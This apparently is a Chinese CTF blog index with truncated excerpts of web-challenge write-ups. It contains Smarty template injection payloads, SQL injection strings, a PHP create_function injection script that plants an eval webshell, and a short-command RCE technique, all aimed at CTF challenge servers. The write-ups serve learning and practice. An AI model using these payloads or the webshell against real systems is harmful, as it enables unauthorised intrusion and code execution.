HDCTF2023
1.Welcome To HDCTF 2023在game.js里发现奇怪的seeeeeeeecret,不难看出就是jsfuck直接把它放在控制台输出或者jsfuck解码1NSSCTF{We13ome_t@_HDCTF_2o23}
2.SearchMaster看报错信息是Smarty模板注入,123data={if system(‘cat /flag_13_searchmaster’)}{/if}data={{system(‘cat /flag_13_searchmaster’)}}
3.LoginMaster具体看这篇博客payload:11'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char ...
Greek Challenge2022
花了好多天时间把去年的极客题目复现了一遍,虽然大部分题目的docker环境出了问题,但还是以各种方法本地调试复现一下,也学到了很多东西
收获:
postgresql数据库查询,单引号的过滤以及系统函数pg_read_file和pg_ls_dir
__halt_compiler();中断编译器执行
disable_function的绕过
一些提权方法
php弱类型绕过(16进制和科学计数法)
php伪随机数漏洞
CSRF学习
1.babysql单引号被过滤,g=2和g=3-1返回结果相同,是数字型
11 order by 3--+
11 order by 4--+
没有返回结果说明字段为三11 union select 1,2,3--+没有返回结果,看了wp才知道这是PosgreSQL数据库,不支持类型转换,推测id是int类型,uname和passwd是char类型所以:查询语句改成这样:1-1 union select 1,version(),version() --+PostgreSQL 14.5 (Ubuntu 14.5-0ubuntu0.22.04.1) on x86_64 ...
DASCTF 2023 & 0X401七月暑期挑战赛
ezflask1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport jsonapp = Flask(__name__)app.secret_key = str(uuid.uuid4())def check(data): for i in black_list: if i in data: return False return Truedef merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get ...
2023京麒CTFsolo-pop复现
这里用的大头的环境复现的,源文章:https://www.yuque.com/dat0u/ctf/sderglp3e16086dg
1docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} ccr.ccs.tencentyun.com/lxxxin/public:jqctf2023-solo-pop
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354 <?phphighlight_file(__FILE__);class test_upload{ public $check; public $filename; public function __construct($filename) { $this->check = new check() ...
2023第六届安洵杯复现
源码位置: https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web
swagger docs直接docker-compose up -d发现容器会直接exit,直接去desktop里看一下但是我们可以发现是有run.sh的
1docker run -p 2256:5000 -it --entrypoint /bin/bash swaggerdocs-service
把run.sh的命令一下就行1nohup python api.py & python app.py
一开始用swagger-exp这个工具扫,但是发现没啥用,主要的接口在网站上面的文档都写了,题目也就用这几个
/api-base/v0/register: 注册
/api-base/v0/login: 登录
/api-base/v0/search: 任意文件读取
/api-base/v0/update: 原型链污染
/api-base/v0/logout: 登出注册登录拿token,Content-type要改json一开始读/proc/self/envi ...
2023柏鹭杯
有点菜,做了2个签到web,22mu师傅做了一个re和一个misc
webexpress fs?file=main.js读main.js123456789101112const express = require("express");const fs = require("fs"); const app = express(); const PORT = process.env.PORT || 80; app.use('/static', express.static('static')) app.use((req, res, next) => { if ([req.body, req.headers, req.query].some((item) => item && JSON.stringify(item).includes("flag"))) { return res.send("臭黑客!"); & ...
2023第六届安洵杯
what’s my name源码忘存了,就记得几个绕过
正则直接include%0a绕过
create_function直接搜文章%27%22]);}phpinfo();/*绕过
这里强比较可以本地调试,发现是字符串类型,直接传参就行,注意lambda前面有个不可见字符我们用%00表示
这里的lambda每次都会加1,这是php的特性,只有php重启才会重新变回1,我一开始是构造好payload手点73下发现无法写马成功,可能环境问题,后来还是写脚本爆了123456789101112import requestsfrom concurrent.futures import ThreadPoolExecutorurl = 'http://47.108.206.43:43036/?d0g3=include%0a%27%22]);}file_put_contents("zoe.php","<?php+eval(\$_POST[1]);?>");/*&name=%00lambda_73'whi ...
2019 XCTF final lfi2019复现
源代码位置: https://github.com/stypr/my-ctf-challenges/blob/master/2019_XCTF_Finals/lfi2019/index.php
根据代码审计:$_SERVER["QUERY_STRING"]是查询的字符串,比如http://www.xxx.com/?p=222的值为p=222那我们在题目传参:?show-me-the-hint即可获取源码
我们观察代码的215行会发现:
这里根据我们的传参来分别执行不同的上传文件和访问文件操作Get类:123456789101112131415161718192021222324252627282930313233343536373839class Get { protected function nanahira(){ // senpai notice me // function exploit($data){ $exploit = new Sys ...
Hello World
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.
Quick StartCreate a new post1$ hexo new "My New Post"
More info: Writing
Run server1$ hexo server
More info: Server
Generate static files1$ hexo generate
More info: Generating
Deploy to remote sites1$ hexo deploy
More info: Deployment
玩转(爆搓)超短RCE
前置知识几个Linux命令需要了解一下:
可以写文件,比如>test就新建一个test名字的文件
ls -t可以把文件按照创建时间来排序
dir可以执行ls命令并且不换行输出
*:可以把ls列出来的第一个文件名当成命令,剩下的文件名当作参数,==相当于`ls`==
1234567>id>root>*uid=0(root) gid=0(root) groups=0(root)还可以通过在*左右添加字母来选择命令
rev倒置
123>revecho 1234 > v*v
这里*v指定了参数
7字符RCE12345678910111213<?php error_reporting(E_ALL); $sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']); mkdir($sandbox); chdir($sandbox); if (isset($_GET[ ...